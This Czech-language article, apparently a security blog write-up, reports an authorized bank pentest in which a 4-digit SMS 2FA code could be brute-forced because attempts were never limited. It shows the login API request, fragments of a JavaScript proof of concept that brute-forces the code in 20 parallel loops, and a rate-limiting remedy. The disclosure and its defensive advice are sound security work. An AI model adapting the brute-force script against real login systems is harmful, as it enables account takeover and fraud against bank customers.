Zpět na domů

Obcházení 2FA v bance: brute-force útok

V pentestu banky odhaleno obcházení SMS-2FA přes brute-force 4místného kódu bez limitů pokusů. Přístup k LK umožňoval podvody. Analýza API, JS-exploit, CVSS 9.1 a doporučení k fixům.

Brute-force prolomení 2FA banky: úplný rozbor
Advertisement 728x90

Obcházení SMS-2FA prostřednictvím brute-force: analýza pentestu banky

Během autorizovaného black-box pentestu velké bankovní infrastruktury (4000 hostů, 4500 uživatelů) byla zjištěna možnost obcházení SMS-2FA v osobním účtu pro finanční žádosti. Zločinec s telefonním číslem oběti mohl plně automatizovat prohledávání 4-místného kódu bez omezení pokusů a získat přístup ke pasovým údajům, historii žádostí a nástrojům pro podvodné transakce.

Přístup umožňoval uzavírání úvěrů, projektové financování a potvrzování plateb prostřednictvím podpory – bez dalších ověření. Entropie kódu (10 000 kombinací) umožňovala prolomení za sekundy.

Analýza API a autentizační logiky

Proces přihlášení byl založen na dvou koncových bodech:

Google AdInline article slot
  • Požadavek na SMS: POST vrací {"repeat":180}, což blokuje opakování na 3 minuty.
  • Ověření kódu: POST /api/*****/login s tělem {"code":"0548","phone":"+7(111)222-22-22"}.

Odpověď na špatný kód je HTTP 400 s hláškou "Telefonní číslo nebo kód je neplatný". Správný kód vrací HTTP 200 s cookies (JSESSIONID, PHPSESSID). Žádné počítadlo pokusů, CAPTCHA, blokování IP nebo relace. Každý požadavek se zpracovával nezávisle.

POST /api/*****/login HTTP/1.1
Host: ****
Content-Type: application/json

{"code":"0548","phone":"+7(111) 222-22-22"}

Implementace exploita v JavaScriptu

PoC využíval prohlížečovou relaci k obejití CORS a SameSite. Hlavní cyklus spočíval v paralelním prohledávání ve 20 vláknech:

await fetch('https://roga_and_copyta/*****/api/*****/login', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({code: codeStr, phone: phone})
});

for (let i = 0; i < 20; i++) {
    turboThread(i, start, end); // Rozsah kódů
}

if (response.status === 200) {
    foundCode = codeStr;
    // Automatické vyplnění pole
}

Úspěch byl určen podle stavu 200. Podobný skript fungoval i v Pythonu. Čas útoku: 35 sekund na 10 000 požadavků.

Google AdInline article slot

Klasifikace a příčiny zranitelnosti

Zranitelnost odpovídá CWE-307 (Nesprávné omezení příliš mnoha pokusů o autentizaci). CVSS 3.1: 9,1 (Kritická) – síťová, nízká složitost, žádné oprávnění, žádná interakce uživatele.

Fatální chyby v návrhu:

  • Priorita pohodlí: absence blokování kvůli zamezení stížností na opakované chyby.
  • Ignorování automatizace: 4 cifry jsou odolné proti člověku, ale ne proti skriptu.
  • Chybějící testy na brute-force.

Doporučení k odstranění

Pro víceúrovňovou ochranu doporučujeme:

Google AdInline article slot
  • Omezení 3–5 pokusů na kód s rotací SMS.
  • CAPTCHA po 2–3 chybách.
  • 6-ciferné kódy (1 milion kombinací, doba prohledávání – hodiny).
  • Monitorování anomálií: frekvence požadavků, reputace IP.
  • Rate limiting podle telefonního čísla a relace.
// Příklad rate limiting na backendu (pseudokód)
if (attempts[phone] > 5) {
    invalidateCode(phone);
    requireCaptcha();
}

Co je důležité

  • Obcházení 2FA poskytuje plný přístup k osobnímu účtu: pasové údaje, žádosti, účtové údaje, potvrzování plateb.
  • 4-místný kód bez omezení – 10 000 kombinací, prolomení za 35 sekund.
  • CWE-307 (CVSS 9,1): absence ochrany proti automatizovanému prohledávání.
  • Doporučení: omezení + CAPTCHA + 6 číslic + monitorování.
  • Pentest zjistil zranitelnost před využitím; vše bylo uzavřeno.

— Editorial Team

Advertisement 728x90

Číst dál